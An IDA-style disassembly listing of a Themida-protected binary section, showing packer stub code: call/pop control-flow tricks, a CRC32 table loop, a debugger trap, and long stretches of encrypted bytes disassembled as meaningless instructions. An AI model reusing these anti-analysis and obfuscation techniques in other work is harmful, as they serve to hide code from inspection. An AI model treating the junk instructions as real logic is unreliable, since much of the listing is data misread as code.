		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_581882
; ---------------------------------------------------------------------------
		or	al, 0CEh
		jg	short loc_5ECFA9
		sub	ch, [ecx]	; CODE XREF: Themida_:005ECFD3j
		or	al, 0F9h
		fsubp	st(3), st
		pop	ss
		pop	esp
		sub	al, 0B8h
		xchg	eax, ecx
		xor	al, 1Ch
		push	es
		add	eax, ebp
		mov	edx, ebx
		jmp	loc_5ECFCA
; ---------------------------------------------------------------------------
		pusha
		mov	edi, [ebp+6151CA9h]
		sub	edi, 4
		xor	ecx, ecx


loc_5ECF9B:				; CODE XREF: Themida_:005ECFC2j
		mov	eax, ecx
		mov	ebx, 0EDB88320h
		add	edi, 4
; ---------------------------------------------------------------------------
		db 0BEh, 8, 0
		db 0
; ---------------------------------------------------------------------------


loc_5ECFA9:				; CODE XREF: Themida_:005ECF76j
					; Themida_:005ECFB3j
		add	cl, dl
		call	near ptr 0D382A1CBh
		xor	eax, edx
		dec	esi
		jnz	near ptr loc_5ECFA9+1
		inc	ecx
		mov	[edi], eax
		cmp	ecx, 100h
		jb	loc_5ECF9B
		popa

locret_5ECFC9:				; CODE XREF: Themida_:005ECFD1j
		retn
; ---------------------------------------------------------------------------


loc_5ECFCA:				; CODE XREF: Themida_:005ECF8Aj
		mov	ecx, eax
		push	ebp
		in	eax, dx
		std
		jnz	short loc_5ED02F ; CODE	XREF: Themida_:005ED037j
		jp	short locret_5ECFC9
		jbe	short near ptr loc_5ECF78+1
		imul	esp, esi, 0FD49BC56h
; ---------------------------------------------------------------------------
		db 8Fh
; ---------------------------------------------------------------------------
		sbb	ds:0FD2436EDh[edi*8], ah
		and	ah, [ecx]
		and	al, 0FDh
		sub	byte ptr [eax+6E72FD24h], 24h
		std
		push	31FD248Ch
		std
		and	al, 0FDh
		push	ss
		inc	ebp


loc_5ECFF9:				; CODE XREF: Themida_:005ED067j
		and	al, 0FDh
		or	eax, 48FD2419h
		db	36h
		and	al, 0FDh
		add	[ecx], esp
		and	al, 0FDh
; ---------------------------------------------------------------------------
		db 7Ah
; ---------------------------------------------------------------------------


loc_5ED008:				; CODE XREF: Themida_:005ED03Bj
		lodsd


loc_5ED009:				; CODE XREF: Themida_:005ED04Bj
		and	al, 0FDh
		mov	dword ptr [esi+24h], 248CA4FDh
		std
		cmp	ebp, 434DFD24h
		and	al, 0FDh
		xchg	eax, ecx
		sbb	ds:358A259Dh[edi*8], ah
		xchg	eax, ebp
		and	ah, [edx+714A76D6h] ; CODE XREF: Themida_:005ED05Bj
					; Themida_:005ED06Bj
		ficomp	word ptr [ebp+edi*4+4Bh] ; CODE	XREF: Themida_:005ED035j


loc_5ED02E:				; CODE XREF: Themida_:005ED03Fj
		hlt
; ---------------------------------------------------------------------------


loc_5ED02F:				; CODE XREF: Themida_:005ECFCFj
		pop	esp


loc_5ED030:				; CODE XREF: Themida_:005ED031j
		pop	edx
		jp	short loc_5ED030
		jnz	short near ptr loc_5ED05B+1
		jb	short near ptr loc_5ED02A+2
		jnz	short near ptr loc_5ECFCF+1 ; CODE XREF: Themida_:005ED039j
					; Themida_:005ED041j ...
		jns	short near ptr loc_5ED037+1
		jz	short loc_5ED008 ; CODE	XREF: Themida_:005ED03Dj
		js	short near ptr loc_5ED03B+1
		jnb	short loc_5ED02E
		jge	short near ptr loc_5ED037+1


loc_5ED043:				; CODE XREF: Themida_:loc_5ED045j
		jz	short near ptr loc_5ED037+1


loc_5ED045:				; CODE XREF: Themida_:loc_5ED05Fj
		jnp	short loc_5ED043


loc_5ED047:				; CODE XREF: Themida_:005ED049j
		jz	short loc_5ED0C1
		jnp	short loc_5ED047
		jnz	short loc_5ED009 ; CODE	XREF: Themida_:005ED04Dj
		jp	short near ptr loc_5ED04B+1
		jnz	short near ptr loc_5ED0AE+1 ; CODE XREF: Themida_:005ED051j
		jp	short near ptr loc_5ED04F+1
		jbe	short loc_5ED0AB
		sbb	[ebx-5CE61A8Bh], ah ; CODE XREF: Themida_:loc_5ED063j


loc_5ED05B:				; CODE XREF: Themida_:005ED033j
					; Themida_:005ED05Dj
		jnz	short near ptr loc_5ED024+4
		jp	short near ptr loc_5ED05B+1


loc_5ED05F:				; CODE XREF: Themida_:005ED061j
		jnz	short loc_5ED045
		jnp	short loc_5ED05F


loc_5ED063:				; CODE XREF: Themida_:005ED065j
		jz	short near ptr loc_5ED055+3
		jnp	short loc_5ED063
		jz	short loc_5ECFF9
		mov	dl, 0F8h
		jnz	short near ptr loc_5ED024+5
		sbb	dh, [eax-10h]
		jmp	short near ptr loc_5ED0B4+1
; ---------------------------------------------------------------------------
		dw 73E1h
		dd 4011FFA6h, 0F0707C8Bh, 73E14300h, 4051FF6Ch,	0F0707CEEh
		dd 73E14070h, 4015FF35h, 0F0707C42h, 73E14346h,	404DFF1Eh
		dd 0F0707CD7h, 73E143CDh, 4049FF7Bh
		db 65h,	7Ch, 70h
; ---------------------------------------------------------------------------


loc_5ED0AB:				; CODE XREF: Themida_:005ED053j
		lock jp	short loc_5ED0FB


loc_5ED0AE:				; CODE XREF: Themida_:loc_5ED04Fj
		loope	loc_5ED123
		xlat
		inc	dword ptr [ebp+40h]


loc_5ED0B4:				; CODE XREF: Themida_:005ED070j
		xor	edi, [eax+esi*2-10h]
		dec	edi
		dec	ebp
		loope	loc_5ED12F
		inc	edx
		inc	dword ptr [ecx+40h]
		stc


loc_5ED0C1:				; CODE XREF: Themida_:loc_5ED047j
		jl	short loc_5ED133
		lock sbb al, 4Dh
		loope	loc_5ED13B
; ---------------------------------------------------------------------------
		dd 403DFFF0h, 0F0707CA0h, 73E14217h, 4031FFA6h
		db 8Bh,	7Ch, 70h
; ---------------------------------------------------------------------------


loc_5ED0DB:				; CODE XREF: Themida_:loc_5ED133j
		lock fiadd word	ptr [edx-1Fh]
		jnb	short near ptr byte_5ED14D
; ---------------------------------------------------------------------------
		db 0FFh, 39h, 40h
		dd 0F0707CEEh, 73E1424Dh, 4035FF35h, 0F0707C42h, 73E14266h
; ---------------------------------------------------------------------------
		push	ds
		push	dword ptr [ecx]


loc_5ED0FB:				; CODE XREF: Themida_:loc_5ED0ABj
		inc	eax
		xlat
		jl	short loc_5ED16F
		lock inc dx
		loope	loc_5ED177
		jnp	short near ptr loc_5ED104+1 ; CODE XREF: Themida_:loc_5ED104j
		and	[eax+65h], eax
		jl	short near ptr loc_5ED177+4
		lock push ds
		inc	edx
		loope	near ptr loc_5ED181+2
		xlat
		call	fword ptr ds:707C3340h
		lock push edx
		inc	edx
		loope	near ptr loc_5ED18E+1
		inc	edx
		call	fword ptr [ecx]
		inc	eax
		stc
		jl	short near ptr loc_5ED190+3


loc_5ED123:				; CODE XREF: Themida_:loc_5ED0AEj
					; Themida_:005ED18Aj
		lock cld
		inc	ebx
		loope	loc_5ED19B
		lock jmp fword ptr ds:707CA040h
; ---------------------------------------------------------------------------


loc_5ED12F:				; CODE XREF: Themida_:005ED0BAj
		lock sbb eax, [ebx-1Fh]


loc_5ED133:				; CODE XREF: Themida_:loc_5ED0C1j
		jnb	short loc_5ED0DB
		jmp	fword ptr [ecx]
; ---------------------------------------------------------------------------
		db 40h
		db 8Bh,	7Ch, 70h
; ---------------------------------------------------------------------------


loc_5ED13B:				; CODE XREF: Themida_:005ED0C6j
		lock sub eax, [ebx-1Fh]
		jnb	short near ptr loc_5ED1AC+1
		jmp	dword ptr ds:767CEE40h
; ---------------------------------------------------------------------------
		db 0F0h
		dd 73E85FF4h
		db 35h
byte_5ED14D	db 0FFh, 0D8h, 43h	; CODE XREF: Themida_:005ED0DFj
		dd 0F0767C42h, 73E85886h, 43D4FF1Eh, 0B69C7CD7h, 9D11F1B0h
		dd 75FD7AF2h, 4C17FB23h
; ---------------------------------------------------------------------------


loc_5ED16C:				; CODE XREF: Themida_:loc_5ED19Bj
		mov	esp, [esi-5]


loc_5ED16F:				; CODE XREF: Themida_:005ED0FDj
		and	eax, 0FDF53FD5h
		lodsd
		pop	esi
		retf
; ---------------------------------------------------------------------------


loc_5ED177:				; CODE XREF: Themida_:005ED102j
					; Themida_:005ED109j
		imul	edx, [ecx-3048CBDEh], 0B723AC7Ah


loc_5ED181:				; CODE XREF: Themida_:005ED10Ej
		sub	[ebp-285E5E0h],	ebp
		jnz	short locret_5ED202
		daa
		jl	short near ptr loc_5ED123+1
		out	4Dh, al


loc_5ED18E:				; CODE XREF: Themida_:005ED11Aj
		loope	loc_5ED203


loc_5ED190:				; CODE XREF: Themida_:005ED1F7j
					; Themida_:005ED121j
		mov	al, ds:334056FFh
		jl	short loc_5ED214
		enter	4F3Ch, 0E1h


loc_5ED19B:				; CODE XREF: Themida_:005ED126j
		jnb	short loc_5ED16C
		or	[ebp+eax*8-4AB48A1Ch], esi
		stc
		mov	edx, 0EF863589h
		aam	43h


loc_5ED1AC:				; CODE XREF: Themida_:005ED13Fj
					; Themida_:005ED223j
		mov	al, ds:96FEBD7Ch
		sub	eax, [ebp+7Ah]


loc_5ED1B4:				; CODE XREF: Themida_:005ED1B5j
		das
		jp	short loc_5ED1B4 ; CODE	XREF: Themida_:005ED219j
		mov	al, [edx]
		push	ebx
		retf
; ---------------------------------------------------------------------------
		db 69h
		dd 0D948F7CDh, 0F8FB66D0h, 9D50FCC6h
; ---------------------------------------------------------------------------


loc_5ED1C8:				; CODE XREF: Themida_:005ED1C9j
		dec	ebx
		jle	short loc_5ED1C8
; ---------------------------------------------------------------------------
		db 75h
		dd 76456FCFh, 8AFD7A5Eh, 69CB53BAh, 0D948F791h,	0F8FB66FEh
		dd 8A50FCD1h
; ---------------------------------------------------------------------------
		and	ah, [ebx]
		pop	ds


loc_5ED1E7:				; CODE XREF: Themida_:005ED20Bj
		mov	esp, 4056F787h
		mov	al, ds:52DA07Ch
		and	[ebx+6D92EC2Ch], ah
		ja	short loc_5ED190
		jp	short loc_5ED248
		int	0C1h		; used by BASIC	while in interpreter
		jns	short loc_5ED256
		mov	dh, [eax+5Fh]

locret_5ED202:				; CODE XREF: Themida_:005ED187j
		retf
; ---------------------------------------------------------------------------


loc_5ED203:				; CODE XREF: Themida_:loc_5ED18Ej
					; Themida_:005ED21Fj ...
		imul	esi, esp, 79D3ED1h
		js	short near ptr loc_5ED203+5
		jnz	short loc_5ED1E7
		retn	0CD9Bh
; ---------------------------------------------------------------------------
		dd 0DE9B5954h
; ---------------------------------------------------------------------------


loc_5ED214:				; CODE XREF: Themida_:005ED195j
		shr	bh, 1
		fadd	dword ptr [ebx-75h]
		jl	short near ptr loc_5ED1B5+1
		fimul	word ptr [eax]
		xchg	eax, edx
		xchg	eax, ebp
		ja	short near ptr loc_5ED203+3
		jp	short near ptr loc_5ED22D+1
		db	36h
		rep jb short near ptr loc_5ED1AC+3
		outsb
		xchg	ch, bh
		fadd	dword ptr [ebx-60h]


loc_5ED22D:				; CODE XREF: Themida_:005ED221j
		jl	short locret_5ED27C
		lds	edx, [ecx+edi*2-53h]
		mov	bh, [edx-6E9634A1h]
		and	[ebx-6481D40Ah], bl
		jle	short near ptr loc_5ED267+1
		sbb	al, 56h
		mov	dh, 1Ah
		imul	edi, 75h


loc_5ED248:				; CODE XREF: Themida_:005ED1F9j
		jns	short near ptr loc_5ED272+1
		adc	eax, 0FD7ABE4Eh
		das
		mov	al, gs:59A57B89h


loc_5ED256:				; CODE XREF: Themida_:005ED1FDj
		cmp	eax, 0DF709491h
		cmc
		pop	es
		mov	edx, 0D183FE4Dh
		db	3Eh
		popf
		add	[ebx-3], bh


loc_5ED267:				; CODE XREF: Themida_:005ED23Fj
		jnz	short loc_5ED293
		xchg	eax, edx
		loope	loc_5ED2E3
		mov	esp, 844EA77Ah
		push	cs


loc_5ED272:				; CODE XREF: Themida_:loc_5ED248j
		adc	al, ch
		dec	ecx
		rcl	byte ptr [esi],	1
		test	eax, 75FCA77Fh	; CODE XREF: Themida_:005ED299j

locret_5ED27C:				; CODE XREF: Themida_:loc_5ED22Dj
		retf
; ---------------------------------------------------------------------------
		db 8Ch,	0BEh, 74h
		dd 26D30FEDh, 75FF7B1Ah, 360B2079h, 548872BDh
		db 65h,	0A0h, 89h
; ---------------------------------------------------------------------------


loc_5ED293:				; CODE XREF: Themida_:loc_5ED267j
		push	913D59A5h
		xchg	eax, esp
		jo	short near ptr loc_5ED277+3
		cmc
		pop	es
		mov	edx, 85B5FF4Dh
		push	0FB66C450h
		das
		pop	ds
		pop	edi
		std
		push	ecx
		fidiv	dword ptr [ecx+3Fh]
		adc	esi, ebp
		mov	ecx, 9285E94Dh
		mov	ebp, 4D7A9774h
		hlt
; ---------------------------------------------------------------------------
		dd 74359261h, 2D157AE5h, 0DEFD7AF2h, 75FC5791h,	0DF60CABCh
		dd 0DF61CA9Dh, 75FC5BC7h, 13451C97h
; ---------------------------------------------------------------------------
		dec	edx
		sbb	al, 56h


loc_5ED2DF:				; CODE XREF: Themida_:005ED2EFj
		popf


loc_5ED2E0:				; CODE XREF: Themida_:005ED2E1j
		inc	ebx
		jnp	short loc_5ED2E0


loc_5ED2E3:				; CODE XREF: Themida_:005ED26Aj
		jnz	short loc_5ED2FF
		dec	esp


loc_5ED2E6:				; CODE XREF: Themida_:loc_5ED2FFj
		std
		jnz	short loc_5ED362
		sbb	al, 56h
		popf
		mov	dh, 7Bh
		std
		jnz	short loc_5ED2DF
		out	57h, eax
		mov	dh, 9Fh
		out	57h, al
		popf
		imul	edi, [edx-3], 0FCF32375h


loc_5ED2FF:				; CODE XREF: Themida_:loc_5ED2E3j
		jnz	short loc_5ED2E6
; ---------------------------------------------------------------------------
		db 8Ch,	0BEh, 74h
		dd 0C5F20FFAh, 6515D0F9h, 0DFFD7ABCh, 7DF99EDEh, 0AA158448h
		dd 0C5FD7A97h, 0CD3ED056h, 75FD7AE2h, 43D4EF0Dh, 0C0707C65h
		dd 73E14F4Ch, 7F518A5Dh, 0E002D02Ch, 73E14CB2h,	74E59208h
		dd 254D7AE5h, 9D5779F8h, 8A02844Bh, 75FC4354h, 7FA5CA5Eh
		dd 0C53ED02Ch, 274DD0C7h, 8BE19261h
		db 1Ah,	85h
; ---------------------------------------------------------------------------


loc_5ED362:				; CODE XREF: Themida_:005ED2E7j
		wait
		int	0FDh
		dec	ebx
		wait
		ficom	word ptr [ecx+438A036Bh]
		retf	0DFA7h
; ---------------------------------------------------------------------------
		dd 0B65722EEh, 2257929Fh, 750C923Ch, 0FEA77ACBh, 0F63F5122h
		dd 77747E1Ah, 8A008B91h, 75059243h, 2D4D7A5Eh, 0B6577925h
		dd 405FFF69h, 0C87D7CD7h, 73E14F47h, 0F8EC0FF3h, 69CB6EFCh
		dd 61152ABAh, 9DFD7A5Ch, 75FD781Bh, 9D571A27h, 8A028775h
		dd 8A00C30Dh, 0DF9CCA0Dh, 405FF787h, 0C87D7CA0h, 73E14FFCh
		dd 0F8F10F2Fh, 69CB6E12h, 0DE152ACDh, 0B6FD7AE4h, 75FD7E4Ah
		dd 5C688579h, 0F8FB668Ah, 69C70BC3h, 6DF9F029h,	9C4DB93Dh
		dd 9D562D61h, 75FD7A8Eh, 5E3AF1A8h, 7115F9BBh, 8A3E7835h
		dd 69CB5FCBh, 514ACE29h, 0C1FF0E96h, 13F2CA74h,	75C9924Eh
		dd 9DAE7AF2h, 75FD7A27h, 0B5FEF0E6h, 0B5F179BEh, 0B6577825h
		dd 43D8EF68h, 917D7CD7h, 0F539FAEAh, 0DE9B7542h, 5A15D12Eh
		dd 2F028541h, 0B7D6BDD5h, 0FCF992ACh, 7345B995h, 8AFD7ACBh
		dd 69CB5370h, 7D60F7F4h, 0F8FB664Fh, 0CD3E39A0h, 75FD7A4Eh
		dd 43D4EFD0h, 0B57E7C8Bh, 8935F1CEh, 43D8EF1Ah,	97577CEEh
		dd 0BE15B98Eh, 0FF028543h, 72D97B1Dh, 76778E5Ah, 75FC6C7Fh
		dd 0B61608CBh, 8908831Dh, 0F611F1A7h, 9D9D86BDh, 75FD7ABCh
		dd 0F417FB04h, 0FCFB6615h, 0CF7D86EAh, 73E14CEFh, 0EC7975E5h
		dd 0CDFD7AF2h, 75FD7A73h, 43D4E843h, 0FCBD7C42h, 69CB57ADh
		dd 0F835F191h, 69C62F79h, 506F85E3h, 0FDFB66C4h, 801F3C7Fh
		dd 75FD6D04h, 587F795Eh, 35FB6619h, 4EB4E01Ah, 0B67E7CD7h
		dd 22FEF3E1h, 75FD644Bh, 58777979h, 0F8FB668Ah,	69C64DECh
		dd 2B598929h, 75FD722Fh, 5C6F85CBh, 0F6FB66D3h,	85897E0Ah
		dd 72447C71h, 7DFD7ABCh, 0C3F24B5Ah
		db 0F7h
byte_5ED535	db 0BBh, 1Eh, 76h	; DATA XREF: Themida_:0057B0FCo
		dd 75FD742Eh, 44E172CBh, 75FD765Ch, 44F972F2h, 75FD61C0h
		dd 44F972BCh, 75FD66E7h, 44F9722Fh, 8A015B7Fh, 8980F334h
		dd 8980F184h, 9DADB93Bh, 75FD7A7Fh, 1102229Ch, 0FCA58E7Ah
		dd 0E9055E6Bh, 89D93E16h, 67C92CB3h, 0B6AD3A78h, 75FD7AF2h
		dd 75FD7A79h, 0FEA87ABCh, 75151AB2h, 2FFD7A2Fh,	4E959016h
		dd 0CF707CD7h, 73E14CD4h, 0CCF50F79h, 75FD7A71h, 0BC9CDE4Fh
		dd 26FD7E9Ch, 43CCE7A2h, 497D7C8Bh, 71887BD3h, 771683BEh
		dd 203E82A9h, 9D9D96F2h, 75FD7ABCh, 0D417FB04h,	0F8FB6614h
		dd 69CB4B25h, 7D80F1CDh, 75FD725Ch, 145989F2h, 75F9B8B0h
		dd 4440F7DCh, 46FB6668h, 75F5C3EFh, 0DF0E7A97h,	0F89DB9AAh
		dd 69CB4B58h, 74C2FBF4h, 0FC7B78h, 7182FBB0h, 74FC7B5Fh
		dd 9E04795Ah, 0B69C8296h, 4440F7ABh, 0CDFB66D3h, 75FD7AF3h
		dd 75FD72C0h, 145789BCh, 0FE3DF19Dh, 4B78F7EFh,	8AFB66A1h
		dd 0E8CA8BD0h, 10h, 0EF2E510Fh,	3F80CA04h, 9C95D3DAh, 0C6D135CDh
		dd 0D38B6660h, 61C18B66h, 14E85259h, 0AD000000h, 36CAEA5Ah
		dd 3F91B27h, 0E96AE032h, 0C25D8436h, 8AC03512h,	815A5AD0h
		dd 6E8FC1h, 0F98B6600h,	1B6868h, 0F98B6600h, 1BB6658h
		dd 81318BDFh, 681439C6h, 24F6813Dh, 80127F60h, 0EE816ED6h
		dd 76655673h, 8F0Fh, 31890000h,	7E9h, 0C53EFD00h, 13710ECCh
		dd 6CB3E981h, 8D0F3240h, 14h, 0E870Fh, 8E80000h, 0F0000000h
		dd 3C34164Ah, 5A228547h, 6CAFC181h, 8D0F3240h, 3, 8128D780h
		dd 1E8h, 12850F00h, 8A000000h, 39E9F4h,	3FB90000h, 0EDFA21Dh
		dd 9563D742h, 11E86Ch
		db 2 dup(0)
word_5ED70E	dw 162Ah		; DATA XREF: Themida_:0057C9E4o
		dd 4BB32D4h, 0B1FC0C96h, 3472FE9Ah, 0F6C26F8h, 0E95FFAB7h
		dd 0FFFFFF69h, 5A23F555h, 0A6F02F80h, 0D92CE4DAh, 8DF937EAh
		dd 1C3DFD8Dh, 0B5BD8906h, 0F06152Fh, 1D82h, 178E0F00h
		dd 0E9000000h, 12h, 0E07409B1h,	879C075Ch, 6D05FB0Ah, 0A358555Fh
		dd 8D892A3Dh, 6152721h,	69DA8166h, 0CD85C7EBh, 0C0061504h
		dd 6A00006Fh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 95FCC352h, 56FA2CAFh, 0C7816683h
		dd 85C71F3Ch, 6151115h,	0
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_5ED7B7
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5ED7B7	proc near		; CODE XREF: Themida_:005ED7AFp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_5ED7B7	endp

; ---------------------------------------------------------------------------
		sbb	[ebx+1502A985h], cl
		push	es
		mov	[ebp+615161Dh],	edx
		push	dword ptr [ebp+6152F59h]
		push	0
		push	eax
		call	sub_5ED7E5
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5ED7E5	proc near		; CODE XREF: Themida_:005ED7DDp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_5ED7E5	endp

; ---------------------------------------------------------------------------
		db 0EEh, 72h, 44h
		dd 1EC72C6h, 95FFC68Bh,	61502C9h, 0E8D7BF0Fh, 7, 67242D03h
		dd 0E934B14Eh, 0Ch, 0E4293222h,	0D79534B5h, 86C7198Ch
		dd 0FF006A58h, 152E2195h, 0EBC08B06h, 63D6ED4Dh, 1F3AB5CAh
		dd 921951E0h, 0D90E8429h, 5685C3F4h, 0BF1714C4h, 9F015FF9h
		dd 4C4C6BEh, 0FFE6109h,	4D1AFFBAh, 85F3AFA2h, 0FBC4DB06h
		dd 1C22710Fh, 18057CA1h, 0C2226798h, 67911F71h,	8C3A7055h
		dd 0EF8239F2h, 4F943AA8h, 8D8D1C08h, 61C3EF6h, 0A7FFBF66h
		dd 27218D89h, 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 0E0366DC3h, 85893D0Eh, 6152C75h
		dd 18B5B589h, 85C70615h, 61504CDh, 5E54h, 17058529h, 85C70615h
		dd 6151115h, 0
; ---------------------------------------------------------------------------
		and	edx, [ebp+61533B5h]
		push	dword ptr [ebp+6152CBDh]
		or	esi, [ebp+6151331h]
		jmp	loc_5ED8F0
; ---------------------------------------------------------------------------
		db 0E3h
		dd 0A8978032h
; ---------------------------------------------------------------------------


loc_5ED8F0:				; CODE XREF: Themida_:005ED8E6j
		call	dword ptr [ebp+61502C9h]
		push	0
		push	ecx
		call	sub_5ED901
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5ED901	proc near		; CODE XREF: Themida_:005ED8F9p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5ED901	endp

; ---------------------------------------------------------------------------
		db 28h,	0Fh, 87h
		dd 6, 1829BD8Bh, 6A0615h, 2E2195FFh, 0C08B0615h, 0DD1A1BEBh
		dd 6C8A19D9h, 42239DAFh, 0EFC0495Ah, 0AD1B3BC6h, 0E9CBA3FEh
		dd 89788FF5h, 0CE8AFh, 137C0000h, 6BA6B369h, 74199B69h
		dd 870F0370h, 0Eh, 0C9953160h, 8B061504h, 151D499Dh, 8B596106h
		dd 15056195h, 0FFC18106h, 0F000071h, 5C68D2BFh,	8000001Ch
		dd 895EF5E2h, 150ACDBDh, 8B398B06h, 152F159Dh, 16F78106h
		dd 0BB6C5541h, 62478A84h, 0FB4EF81h, 8D0F4BD1h,	5, 0C25026BBh
		dd 0CFC78131h, 0BB5DDA1Ah, 0E56BFFFh, 6850F57h,	2B000000h
		dd 15129195h, 0F018F06h, 0E983D3BFh, 6D858B04h,	4E061534h
		dd 0FFAF850Fh, 0BF0FFFFFh, 2AE9D8h, 4C70000h, 24h, 0E800h
		dd 815D0000h, 1C3FBFEDh, 24448B06h, 0AD858904h,	0B8061528h
		dd 0
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+6154F9Eh]
		jmp	ecx
; ---------------------------------------------------------------------------
		mov	eax, 6754h
		jmp	short loc_5EDA29
; ---------------------------------------------------------------------------
		align 4
		dd 4 dup(0)
		dd 1000000h
		db 1
; ---------------------------------------------------------------------------


loc_5EDA29:				; CODE XREF: Themida_:005EDA11j
		add	[eax+eax], al
		add	[esi+eax], bl
		push	0
		push	edi
		call	sub_5EDA3A
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EDA3A	proc near		; CODE XREF: Themida_:005EDA32p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_5EDA3A	endp

; ---------------------------------------------------------------------------
		dw 3C8Ch
; ---------------------------------------------------------------------------
		jg	short loc_5EDAAD
		aaa
		pusha
		mov	ebx, [ebp+615226Dh]
		add	[ebp+61502A5h],	ecx
		popa
		nop
		jmp	loc_5EDA6B
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		dd 2DC519EAh
; ---------------------------------------------------------------------------
		push	es
		mov	bl, 0D5h


loc_5EDA6B:				; CODE XREF: Themida_:005EDA5Ej
		push	eax
		nop
		mov	bx, di
		push	0
		sub	[ebp+6150D1Dh],	esi
		push	0
		push	0
		push	esi
		call	sub_5EDA85
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EDA85	proc near		; CODE XREF: Themida_:005EDA7Dp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_5EDA85	endp

; ---------------------------------------------------------------------------
		pop	esi
		test	eax, 583E46C9h
		jb	loc_5EDAA7
		mov	[ebp+6151551h],	edx


loc_5EDAA7:				; CODE XREF: Themida_:005EDA9Bj
		lea	eax, [ebp+61C4121h]


loc_5EDAAD:				; CODE XREF: Themida_:005EDA4Cj
		mov	ebx, ecx
		nop
		mov	dx, 5AE4h
		push	eax
		jnb	$+6
		nop
		push	0
		push	edi
		call	sub_5EDAC7
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EDAC7	proc near		; CODE XREF: Themida_:005EDABFp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5EDAC7	endp

; ---------------------------------------------------------------------------
		db 0C4h
; ---------------------------------------------------------------------------
		enter	0FFFFA825h, 30h
		mov	eax, fs
		add	al, 25h
		xor	ebx, [ebp+6151D8Dh]
		or	di, 6D8h
		push	0
		push	0
		push	edi
		call	sub_5EDAF8
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EDAF8	proc near		; CODE XREF: Themida_:005EDAF0p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh


loc_5EDB05:				; CODE XREF: Themida_:005EDB7Ej
		inc	edi
		push	edi
		retn
sub_5EDAF8	endp

; ---------------------------------------------------------------------------
		test	ch, dh
		jb	short loc_5EDB50
		mov	byte ptr [edx-14h], 1
		push	0
		pusha
		cmc
		mov	[ebp+61509F1h],	ecx
		popa
		call	dword ptr [ebp+6152679h]
		mov	[ebp+6150669h],	esi
		jmp	loc_5EE0E9
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5EDB37
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EDB37	proc near		; CODE XREF: Themida_:005EDB2Fp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_5EDB37	endp

; ---------------------------------------------------------------------------
		db 0ECh
; ---------------------------------------------------------------------------
		jnb	short loc_5EDBAC
		xor	[ebp+61533B5h],	ebx


loc_5EDB50:				; CODE XREF: Themida_:005EDB0Aj
		call	$+5
		pop	ebp
		sub	ebp, 61C4126h
		push	0
		push	ebx
		call	sub_5EDB67
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EDB67	proc near		; CODE XREF: Themida_:005EDB5Fp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_5EDB67	endp

; ---------------------------------------------------------------------------
		db 0E1h
; ---------------------------------------------------------------------------
		xchg	ax, dx
		inc	eax
		int	3		; Trap to Debugger
		cmp	edi, ecx
		jecxz	short loc_5EDB05
		mov	dh, 0F5h
		push	0
		push	ecx
		call	sub_5EDB8D
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EDB8D	proc near		; CODE XREF: Themida_:005EDB85p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_5EDB8D	endp

; ---------------------------------------------------------------------------
		db 23h,	0E4h, 0D7h
		dd 7A823285h, 4FC9811Dh, 0E872A581h
; ---------------------------------------------------------------------------


loc_5EDBAC:				; CODE XREF: Themida_:005EDB48j
		add	al, 0
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
		mov	al, ds:5000000Fh
		mov	eax, [esp+4]
		push	edi
		mov	ecx, 744BFA37h
		pop	ebx
		mov	eax, [eax]
		jmp	loc_5EDBD8
; ---------------------------------------------------------------------------
		db 48h
		dd 232D50EAh, 37951452h, 0EE180B0Ah, 50CC87BEh
; ---------------------------------------------------------------------------


loc_5EDBD8:				; CODE XREF: Themida_:005EDBC2j
		mov	[esp+4], eax
		mov	cx, dx
		pop	eax


loc_5EDBE0:				; CODE XREF: Themida_:005EDBFDj
		jnp	loc_5EDBEC
		mov	[ebp+6152925h],	esi


loc_5EDBEC:				; CODE XREF: Themida_:loc_5EDBE0j
		call	dword ptr [ebp+6152E21h]
		call	sub_5EDC08
		mov	ebx, [ebx+3Ah]
		inc	ebp
